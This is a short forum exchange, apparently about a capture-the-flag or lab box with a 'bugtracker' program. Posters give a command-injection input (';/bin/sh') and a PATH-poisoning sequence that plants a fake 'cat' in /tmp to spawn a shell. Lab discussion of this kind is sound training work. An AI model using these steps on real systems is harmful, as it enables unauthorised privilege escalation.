Type your comment> @Ja4V8s28Ck said:
Type your comment> @DaChef said:
There i also command injection, just execute bugtracker and type: ;/bin/sh then hit enter!
I appreciate your answer bro, may i know wht made this code "export PATH=.:$PATH
echo ‘/bin/sh’ > cat
chmod +x ./cat,"not work in the first place
The correct approach on PATH env variable poisoning would be:
cd /tmp/
echo “/bin/sh” > cat
chmod +x cat
export PATH=/tmp:$PATH
The dot referencing on your current directory is wrong, you need to specify the exact path!